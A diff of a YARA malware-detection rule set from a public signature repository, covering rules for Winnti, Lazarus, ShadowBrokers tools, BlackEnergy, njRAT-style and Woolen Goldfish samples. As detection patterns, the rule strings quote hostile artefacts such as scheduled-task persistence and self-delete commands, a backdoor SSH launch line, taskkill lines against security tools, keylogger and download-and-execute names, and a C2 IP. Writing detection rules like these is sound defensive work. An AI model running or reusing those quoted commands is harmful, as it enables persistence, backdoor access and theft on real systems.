-		logic_hash = "b198396d27b32f8aa57a25cd6e33deb2bcfb726731e2e07f8b9d50b5f6ff13a0"
+		reference = "https://github.com/br-data/2019-winnti-analyse"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_br.yar#L17-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "798b092b7667462aa66590603504cb0cd1166e4ac3472627cd8cd8fdf8f0b778"
 		score = 75
-		quality = 85
+		quality = 60
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3d96811de7419a8c090a671d001a85f2b1875243e5b38e6f927d9877d0ff9b0c"
-		hash2 = "366d8b84a43a528e6aaf9ecfc38980b148f983967803914471ccf011b9bb0832"
 
 	strings:
-		$s1 = "*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation" fullword wide
-		$s2 = "*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft " wide
-		$s3 = "*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 O" wide
-		$s4 = "scripting.filesystemobject$" fullword ascii
-		$s5 = "ID=\"{00000000-0000-0000-0000-000000000000}\"" fullword ascii
+		$b = { DA A0 }
 
 	condition:
-		uint16(0)==0xcfd0 and filesize <6000KB and all of them
+		uint16(0)==0x5a4d and $b at pe.overlay.offset and pe.overlay.size>100
 }
-rule SIGNATURE_BASE_MAL_Muddywater_Droppedtask_Jun18_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Winnti_BR_Report_Mockingjay : FILE
 {
 	meta:
-		description = "Detects a dropped Windows task as used by MudyWater in June 2018"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d9ef379d-161f-59f1-873e-3af12b24b76b"
-		date = "2018-06-12"
+		description = "Detects Winnti samples"
+		author = "@br_data repo"
+		id = "9aff9d65-3827-59de-9dc3-38f227155d3d"
+		date = "2019-07-24"
 		modified = "2023-12-05"
-		reference = "https://app.any.run/tasks/719c94eb-0a00-47cc-b583-ad4f9e25ebdb"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_muddywater.yar#L48-L66"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "776ae1adab223ae258d1c1c0c501e177dafe196964a2ede31789a7caa8495b2d"
+		reference = "https://github.com/br-data/2019-winnti-analyse"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_br.yar#L30-L46"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7a63b6f10cc5feebba16e585cb29d741876e1dc7f4dde3ef43ac76db9c7ad135"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7ecc2e1817f655ece2bde39b7d6633f4f586093047ec5697a1fab6adc7e1da54"
 
 	strings:
-		$x1 = "%11%\\scrobj.dll,NI,c:" wide
-		$s1 = "AppAct = \"SOFTWARE\\Microsoft\\Connection Manager\"" fullword wide
-		$s2 = "[DefenderService]" fullword wide
-		$s3 = "UnRegisterOCXs=EventManager" fullword wide
-		$s4 = "ShortSvcName=\" \"" fullword wide
+		$load_magic = { C7 44 ?? ?? FF D8 FF E0 }
+		$iter = { E9 EA EB EC ED EE EF F0 }
+		$jpeg = { FF D8 FF E0 00 00 00 00 00 00 }
 
 	condition:
-		uint16(0)==0xfeff and filesize <1KB and (1 of ($x*) or 3 of them )
+		uint16(0)==0x5a4d and $jpeg and ($load_magic or $iter in (@jpeg[1]..@jpeg[1]+200)) and for any i in (1..#jpeg) : ( uint8(@jpeg[i]+11)!=0)
 }
-import "pe"
-
-rule SIGNATURE_BASE_CN_Disclosed_20180208_Lsls : FILE
+rule SIGNATURE_BASE_FVEY_Shadowbrokers_Jan17_Screen_Strings : FILE
 {
 	meta:
-		description = "Detects malware from disclosed CN malware set"
+		description = "Detects strings derived from the ShadowBroker's leak of Windows tools/exploits"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c6c4aa72-1a84-552f-bea0-38b332a74233"
-		date = "2018-02-08"
+		id = "59832d0a-0cb2-5eb9-a4e2-36aaa09a3998"
+		date = "2017-01-08"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cyberintproject/status/961714165550342146"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_cn_campaign_njrat.yar#L13-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c6542391e8d1a4fe4d26fd8b2dfb1fcab7b39c67dcc6495f2e5f95c4d6f8d61c"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message7/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_jan17.yar#L10-L47"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8015b227c5df68fffadb86b72843b2b831d5603978ada3f50cc535a870aa94eb"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "94c6a92984df9ed255f4c644261b01c4e255acbe32ddfd0debe38b558f29a6c9"
 
 	strings:
-		$x1 = "User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)" fullword ascii
+		$x1 = "Danderspritz" ascii wide fullword
+		$x2 = "DanderSpritz" ascii wide fullword
+		$x3 = "PeddleCheap" ascii wide fullword
+		$x4 = "ChimneyPool Addres" ascii wide fullword
+		$a1 = "Getting remote time" fullword ascii
+		$a2 = "RETRIEVED" fullword ascii
+		$b1 = "Added Ops library to Python search path" fullword ascii
+		$b2 = "target: z0.0.0.1" fullword ascii
+		$c1 = "Psp_Avoidance" fullword ascii
+		$c2 = "PasswordDump" fullword ascii
+		$c4 = "EventLogEdit" fullword ascii
+		$d1 = "Mcl_NtElevation" fullword ascii wide
+		$d2 = "Mcl_NtNativeApi" fullword ascii wide
+		$d3 = "Mcl_ThreatInject" fullword ascii wide
+		$d4 = "Mcl_NtMemory" fullword ascii wide
 
 	condition:
-		uint16(0)==0x457f and filesize <3000KB and $x1
+		filesize <2000KB and (1 of ($x*) or all of ($a*) or 1 of ($b*) or ( uint16(0)==0x5a4d and 1 of ($c*)) or 3 of ($c*) or ( uint16(0)==0x5a4d and 3 of ($d*)))
 }
 import "pe"
 
-rule SIGNATURE_BASE_CN_Disclosed_20180208_C : FILE
+rule SIGNATURE_BASE_APT_Lazarus_Aug18_Downloader_1 : FILE
 {
 	meta:
-		description = "Detects malware from disclosed CN malware set"
+		description = "Detects Lazarus Group Malware Downloadery"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cb0bcdc4-7eca-59b7-a947-85c232d4e599"
-		date = "2018-02-08"
+		id = "f536db7b-b645-522f-b750-6431878d2e31"
+		date = "2018-08-24"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cyberintproject/status/961714165550342146"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_cn_campaign_njrat.yar#L28-L55"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cfdc7ce8b89a16d2ae604268a030bd41259fed87a7f37b0dca8f7c467703c7f2"
+		reference = "https://securelist.com/operation-applejeus/87553/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_applejeus.yar#L13-L37"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f6bdaa8aa76da3e679094ae9759a67b5db33d0445f7204ff13e400fa6db60386"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "17475d25d40c877284e73890a9dd55fccedc6a5a071c351a8c342c8ef7f9cea7"
+		hash1 = "d555dcb6da4a6b87e256ef75c0150780b8a343c4a1e09935b0647f01d974d94d"
+		hash2 = "bdff852398f174e9eef1db1c2d3fefdda25fe0ea90a40a2e06e51b5c0ebd69eb"
+		hash3 = "e2199fc4e4b31f7e4c61f6d9038577633ed6ad787718ed7c39b36f316f38befd"
 
 	strings:
-		$x1 = "cmd.exe /c ping 0 -n 2 & del \"" fullword wide
-		$x2 = "schtasks /create /sc minute /mo 1 /tn Server /tr " fullword wide
-		$x3 = "www.upload.ee/image/" wide
-		$s1 = "winmgmts:\\\\.\\root\\SecurityCenter2" fullword wide
-		$s2 = "/Server.exe" fullword wide
-		$s3 = "Executed As " fullword wide
-		$s4 = "WmiPrvSE.exe" fullword wide
-		$s5 = "Stub.exe" fullword ascii
-		$s6 = "Download ERROR" fullword wide
-		$s7 = "shutdown -r -t 00" fullword wide
-		$s8 = "Select * From AntiVirusProduct" fullword wide
+		$x1 = "H:\\DEV\\TManager\\" ascii
+		$x2 = "\\Release\\dloader.pdb" ascii
+		$x3 = "Z:\\jeus\\"
+		$x4 = "\\Debug\\dloader.pdb" ascii
+		$x5 = "Moz&Wie;#t/6T!2yW29ab@ad%Df324V$Yd" fullword ascii
+		$s1 = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" fullword ascii
+		$s2 = "Error protecting memory page" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and (1 of ($x*) or 4 of them )
+		uint16(0)==0x5a4d and filesize <500KB and ((1 of ($x*) or 2 of them ))
 }
 import "pe"
 
-rule SIGNATURE_BASE_CN_Disclosed_20180208_System3 : FILE
+rule SIGNATURE_BASE_APT_Lazarus_Aug18_1 : FILE
 {
 	meta:
-		description = "Detects malware from disclosed CN malware set"
+		description = "Detects Lazarus Group Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "097f4506-295d-5066-8895-2148436731c1"
-		date = "2018-02-08"
+		id = "fda4970a-2787-5e9c-9944-a6222145f4a7"
+		date = "2018-08-24"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cyberintproject/status/961714165550342146"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_cn_campaign_njrat.yar#L57-L74"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8292ae1de39c57bc5ed6fa078570e92dbcd22cd13d5b5f22d158986708139fbe"
+		reference = "https://securelist.com/operation-applejeus/87553/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_applejeus.yar#L39-L60"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "efd43e2d84ba964e7fc7e6c03eaba3dd5181c9cbe51b4a06a7a723dca95fab17"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "73fa84cff51d384c2d22d9e53fc5d42cb642172447b07e796c81dd403fb010c2"
+		hash1 = "ef400d73c6920ac811af401259e376458b498eb0084631386136747dfc3dcfa8"
+		hash2 = "1b8d3e69fc214cb7a08bef3c00124717f4b4d7fd6be65f2829e9fd337fc7c03c"
 
 	strings:
-		$a1 = "WmiPrvSE.exe" fullword wide
-		$s1 = "C:\\Users\\sgl\\AppData\\Local\\" ascii
-		$s2 = "Temporary Projects\\WmiPrvSE\\" ascii
-		$s3 = "$15a32a5d-4906-458a-8f57-402311afc1c1" fullword ascii
+		$s1 = "mws2_32.dll" fullword wide
+		$s2 = "%s.bat" fullword wide
+		$s3 = "%s%s%s \"%s > %s 2>&1\"" fullword wide
+		$s4 = "Microsoft Corporation. All rights reserved." fullword wide
+		$s5 = "ping 127.0.0.1 -n 3" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and $a1 and 1 of ($s*)
+		uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="3af996e4f960108533e69b9033503f40" or 4 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_CN_Disclosed_20180208_Mal1 : FILE
+rule SIGNATURE_BASE_APT_Lazarus_Aug18_2 : FILE
 {
 	meta:
-		description = "Detects malware from disclosed CN malware set"
+		description = "Detects Lazarus Group Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8516bbfb-a2ad-565d-bf6c-71629b1831a1"
-		date = "2018-02-08"
+		id = "3c77d603-6443-5e78-8a8a-a89112619aa6"
+		date = "2018-08-24"
 		modified = "2023-12-05"
-		reference = "https://www.virustotal.com/graph/#/selected/n120z79z208z189/drawer/graph-details"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_cn_campaign_njrat.yar#L77-L103"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cf532761d07ee3e84028a9071409f081a7a85728d55c215c912f0b70902f101f"
+		reference = "https://securelist.com/operation-applejeus/87553/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_applejeus.yar#L62-L82"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "75d52ad829383392d9eb20a8308278d073d16f7624e60010356534bdc6acc81f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "173d69164a6df5bced94ab7016435c128ccf7156145f5d26ca59652ef5dcd24e"
+		hash1 = "8ae766795cda6336fd5cad9e89199ea2a1939a35e03eb0e54c503b1029d870c4"
+		hash2 = "d3ef262bae0beb5d35841d131b3f89a9b71a941a86dab1913bda72b935744d2e"
 
 	strings:
-		$x1 = "%SystemRoot%\\system32\\termsrvhack.dll" fullword ascii
-		$x2 = "User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii
-		$a1 = "taskkill /f /im cmd.exe" fullword ascii
-		$a2 = "taskkill /f /im mstsc.exe" fullword ascii
-		$a3 = "taskkill /f /im taskmgr.exe" fullword ascii
-		$a4 = "taskkill /f /im regedit.exe" fullword ascii
-		$a5 = "taskkill /f /im mmc.exe" fullword ascii
-		$s1 = "K7TSecurity.exe" fullword ascii
-		$s2 = "ServUDaemon.exe" fullword ascii
+		$s1 = "vAdvapi32.dll" fullword wide
+		$s2 = "lws2_32.dll" fullword wide
+		$s3 = "%s %s > \"%s\" 2>&1" fullword wide
+		$s4 = "Not Service" fullword wide
+		$s5 = "ping 127.0.0.1 -n 3" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and (pe.imphash()=="28e3a58132364197d7cb29ee104004bf" or 1 of ($x*) or 3 of them )
+		uint16(0)==0x5a4d and filesize <600KB and (4 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_CN_Disclosed_20180208_Keylogger_1 : FILE
+rule SIGNATURE_BASE_APT_Fallchill_RC4_Keys : FILE
 {
 	meta:
-		description = "Detects malware from disclosed CN malware set"
+		description = "Detects FallChill RC4 keys"
 		author = "Florian Roth (Nextron Systems)"
-		id = "12eff9b6-1a65-5efc-b39c-88297bdae9c3"
-		date = "2018-02-08"
+		id = "ead7d84c-91aa-58b0-af3b-1211b0bde864"
+		date = "2018-08-21"
 		modified = "2023-12-05"
-		reference = "https://www.virustotal.com/graph/#/selected/n120z79z208z189/drawer/graph-details"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_cn_campaign_njrat.yar#L105-L122"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "efba7004614c690e469082255cf7b5cb62cac5da2bfcc26e036e2eafcb5728f9"
+		reference = "https://securelist.com/operation-applejeus/87553/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_applejeus.yar#L84-L100"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "59861618dba256996d7bbcd94a6efccdb64589fc75086bfe7d980fa51761ef97"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c492889e1d271a98e15264acbb21bfca9795466882520d55dc714c4899ed2fcf"
 
 	strings:
-		$x2 = "Process already elevated." fullword wide
-		$x3 = "GetKeyloggErLogsResponse" fullword ascii
-		$x4 = "get_encryptedPassword" fullword ascii
-		$x5 = "DoDownloadAndExecute" fullword ascii
-		$x6 = "GetKeyloggeRLogs" fullword ascii
+		$cod0 = { c7 ?? ?? da e1 61 ff
+                c7 ?? ?? 0c 27 95 87
+                c7 ?? ?? 17 57 a4 d6
+                c7 ?? ?? ea e3 82 2b }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and 2 of them
+		uint16(0)==0x5a4d and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_CN_Disclosed_20180208_Mal4 : FILE
+rule SIGNATURE_BASE_MSIL_SUSP_OBFUSC_Xorstringsnet : FILE
 {
 	meta:
-		description = "Detects malware from disclosed CN malware set"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6165caf5-157f-5381-a77e-6ed775187ab1"
-		date = "2018-02-08"
+		description = "Detects XorStringsNET string encryption, and other obfuscators derived from it"
+		author = "dr4k0nia"
+		id = "f0724ca6-4bfe-5b88-9396-a58aa7461fd6"
+		date = "2023-03-26"
 		modified = "2023-12-05"
-		reference = "https://www.virustotal.com/graph/#/selected/n120z79z208z189/drawer/graph-details"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_cn_campaign_njrat.yar#L124-L138"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "044901271adb06036e7d5aa8f2b6f893be10445bee95453c293d0025994e8d21"
+		reference = "https://github.com/dr4k0nia/yara-rules"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_net_xorstrings.yar#L2-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6d023a80bd8f5709721c3ace8a7230b847ca4bd2a1aff502a25333ffc8bf75ca"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f7549c74f09be7e4dbfb64006e535b9f6d17352e236edc2cdb102ec3035cf66e"
+		version = "1.0"
 
 	strings:
-		$s1 = "Microsoft .Net Framework COM+ Support" fullword ascii
-		$s2 = "Microsoft .NET and Windows XP COM+ Integration with SOAP" fullword ascii
+		$pattern = { 06 1E 58 07 8E 69 FE 17 }
+		$a1 = "_CorDllMain" ascii
+		$a2 = "_CorExeMain" ascii
+		$a3 = "mscorlib" ascii fullword
+		$a4 = ".cctor" ascii fullword
+		$a5 = "System.Private.Corlib" ascii
+		$a6 = "<Module>" ascii fullword
+		$a7 = "<PrivateImplementationsDetails{" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and 1 of them and pe.exports("SPACE")
+		uint16(0)==0x5a4d and filesize <25MB and $pattern and 2 of ($a*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_CN_Disclosed_20180208_Mal5 : FILE
+rule SIGNATURE_BASE_Woolengoldfish_Sample_1
 {
 	meta:
-		description = "Detects malware from disclosed CN malware set"
+		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b1933610-9e6d-5eed-ba30-ccdd0d3a6124"
-		date = "2018-02-08"
+		id = "923de51a-8422-5318-95f5-79613d2d642e"
+		date = "2015-03-25"
 		modified = "2023-12-05"
-		reference = "https://www.virustotal.com/graph/#/selected/n120z79z208z189/drawer/graph-details"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_cn_campaign_njrat.yar#L140-L160"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "971276d5033477a08a1ec037cff9735667c2b4f7d9d4a7bcd88f2b1d8c348d4f"
-		score = 75
+		reference = "http://goo.gl/NpJpVZ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_woolengoldfish.yar#L13-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7ad0eb113bc575363a058f4bf21dbab8c8f7073a"
+		logic_hash = "9490715a2fc7d3c742771a8211bcfb4c0a0bafba4d5de8eee5825fdabaded6af"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "24c05cd8a1175fbd9aca315ec67fb621448d96bd186e8d5e98cb4f3a19482af4"
-		hash2 = "05696db46144dab3355dcefe0408f906a6d43fced04cb68334df31c6dfd12720"
 
 	strings:
-		$s1 = "4System.Web.Services.Protocols.SoapHttpClientProtocol" fullword ascii
-		$s2 = "Server.exe" fullword ascii
-		$s3 = "System.Windows.Forms.Form" fullword ascii
-		$s4 = "Stub.Resources.resources" fullword ascii
-		$s5 = "My.Computer" fullword ascii
-		$s6 = "MyTemplate" fullword ascii
-		$s7 = "Stub.My.Resources" fullword ascii
+		$s1 = "Cannot execute (%d)" fullword ascii
+		$s16 = "SvcName" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Blackenergy_BE_2 : FILE
+rule SIGNATURE_BASE_Woolengoldfish_Generic_1
 {
 	meta:
-		description = "Detects BlackEnergy 2 Malware"
+		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c93991b9-77e8-5a73-80ef-e21df770c3a5"
-		date = "2015-02-19"
+		id = "351f5ee5-c0ec-51b6-9953-2b64e3e74b09"
+		date = "2015-03-25"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/DThzLz"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_blackenergy.yar#L8-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "983cfcf3aaaeff1ad82eb70f77088ad6ccedee77"
-		logic_hash = "77ecab353063bf8be5ec70294f8497234af8ddd944e0b207d8d633f59f76dbb6"
-		score = 75
+		reference = "http://goo.gl/NpJpVZ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_woolengoldfish.yar#L30-L60"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "79879be4f49c8830573eb4a9f958ef9060413ea8b5dd3f8f3d5816e146d3a0b7"
+		score = 90
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "5d334e0cb4ff58859e91f9e7f1c451ffdc7544c3"
+		hash1 = "d5b2b30fe2d4759c199e3659d561a50f88a7fb2e"
+		hash2 = "a42f1ad2360833baedd2d5f59354c4fc3820c475"
 
 	strings:
-		$s0 = "<description> Windows system utility service  </description>" fullword ascii
-		$s1 = "WindowsSysUtility - Unicode" fullword wide
-		$s2 = "msiexec.exe" fullword wide
-		$s3 = "WinHelpW" fullword ascii
-		$s4 = "ReadProcessMemory" fullword ascii
+		$x0 = "Users\\Wool3n.H4t\\"
+		$x1 = "C-CPP\\CWoolger"
+		$x2 = "NTSuser.exe" fullword wide
+		$s1 = "107.6.181.116" fullword wide
+		$s2 = "oShellLink.Hotkey = \"CTRL+SHIFT+F\"" fullword
+		$s3 = "set WshShell = WScript.CreateObject(\"WScript.Shell\")" fullword
+		$s4 = "oShellLink.IconLocation = \"notepad.exe, 0\"" fullword
+		$s5 = "set oShellLink = WshShell.CreateShortcut(strSTUP & \"\\WinDefender.lnk\")" fullword
+		$s6 = "wlg.dat" fullword
+		$s7 = "woolger" fullword wide
+		$s8 = "[Enter]" fullword
+		$s9 = "[Control]" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <250KB and all of ($s*)
+		(1 of ($x*) and 2 of ($s*)) or (6 of ($s*))
 }
-rule SIGNATURE_BASE_Blackenergy_VBS_Agent : FILE
+rule SIGNATURE_BASE_Woolengoldfish_Generic_2
 {
 	meta:
-		description = "Detects VBS Agent from BlackEnergy Report - file Dropbearrun.vbs"
+		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0876f752-d476-5706-918e-edfda9bd7928"
-		date = "2016-01-03"
+		id = "930b928f-ff32-56b2-9e3c-dd80036ff7ef"
+		date = "2015-03-25"
 		modified = "2023-12-05"
-		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_blackenergy.yar#L34-L49"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f"
-		logic_hash = "2a0037a76f1031117fe41b2e41691511eb626ffc0c738547eda24f771505bc67"
-		score = 75
+		reference = "http://goo.gl/NpJpVZ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_woolengoldfish.yar#L62-L79"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "25d2ea25543b0a6330e443333f1ac7a59874631c8ee7faeb4ea6d94c62c255fc"
+		score = 90
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "47b1c9caabe3ae681934a33cd6f3a1b311fd7f9f"
+		hash2 = "62172eee1a4591bde2658175dd5b8652d5aead2a"
+		hash3 = "7fef48e1303e40110798dfec929ad88f1ad4fbd8"
+		hash4 = "c1edf6e3a271cf06030cc46cbd90074488c05564"
 
 	strings:
-		$s0 = "WshShell.Run \"dropbear.exe -r rsa -d dss -a -p 6789\", 0, false" fullword ascii
-		$s1 = "WshShell.CurrentDirectory = \"C:\\WINDOWS\\TEMP\\Dropbear\\\"" fullword ascii
-		$s2 = "Set WshShell = CreateObject(\"WScript.Shell\")" fullword ascii
+		$s0 = "modules\\exploits\\littletools\\agent_wrapper\\release" ascii
 
 	condition:
-		filesize <1KB and 2 of them
+		all of them
 }
-rule SIGNATURE_BASE_Dropbear_SSH_Server : FILE
+rule SIGNATURE_BASE_Woolengoldfish_Generic_3
 {
 	meta:
-		description = "Detects DropBear SSH Server (not a threat but used to maintain access)"
+		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
 		author = "Florian Roth (Nextron Systems)"
-		id = "22595d8b-b7ea-570e-ad17-d5bcec613abf"
-		date = "2016-01-03"
+		id = "5c227d24-624c-5fb5-a2ea-a971fda8bfba"
+		date = "2015-03-25"
 		modified = "2023-12-05"
-		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_blackenergy.yar#L51-L69"
